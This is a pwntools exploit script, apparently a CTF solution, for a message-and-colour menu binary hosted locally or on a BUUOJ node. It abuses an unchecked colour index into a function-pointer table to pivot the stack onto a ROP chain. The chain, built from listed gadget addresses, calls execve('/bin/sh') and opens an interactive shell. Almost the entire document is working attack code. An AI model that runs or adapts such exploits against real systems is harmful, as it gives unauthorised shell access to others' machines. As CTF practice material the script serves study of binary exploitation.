1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
| from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
debug = 1
if debug:
io = process('./challenge')
else:
io = remote('node5.buuoj.cn', 26980)
def send_message(meesage):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'New Message? ', meesage)
def send_message_color(color):
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'> ', str(color).encode())
def print_message():
io.sendlineafter(b'> ', b'3')
def myexit():
io.sendlineafter(b'> ', b'4')
def attack():
pop_rdi_pop_rbp_xor_eax_eax_ret = 0x2a1345
pop_rsi_ret = 0x243431
mov_rdx_rsi_add_rsp_0x80_pop_rbp_ret = 0x27146b
mov_rax_rbx_pop_rbx_ret = 0x24577a
syscall = 0x2a6602
xchg_rsp_rax_ret = 0x242d78
bin_sh = 0x2F9FD0
buffer = 0x2F9E38
funclist = 0x2F08E8
rop_chain = flat([
pop_rdi_pop_rbp_xor_eax_eax_ret,
bin_sh,
0,
pop_rsi_ret,
0,
mov_rdx_rsi_add_rsp_0x80_pop_rbp_ret,
p64(0) * 0x11,
mov_rax_rbx_pop_rbx_ret,
59,
mov_rax_rbx_pop_rbx_ret,
59,
syscall,
xchg_rsp_rax_ret
])
payload = flat({
0x0: rop_chain,
bin_sh - buffer: '/bin/sh\x00'
}, filler = '\x00')
send_message(payload)
send_message_color((buffer + len(rop_chain) - 8 - funclist) // 8)
gdb.attach(io)
print_message()
io.interactive()
attack()
# .data.rel.ro:00000000002F08E8 funcs_243A92 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize3redB6_
# .bss:00000000002F9E38 ; challenge::BUFFER
# 0x00000000002a1345: pop rdi; pop rbp; xor eax, eax; ret;
# 0x0000000000243431: pop rsi; ret;
# 0x000000000027146b: mov rdx, rsi; add rsp, 0x80; pop rbp; ret;
# 0x000000000024577a: mov rax, rbx; pop rbx; ret;
# 0x00000000002a6602: syscall;
# 0x0000000000242d78: xchg rsp, rax; ret;
# rdi->0x2F9FD0->/bin/sh\x00
# rsi->0
# rdx->0
|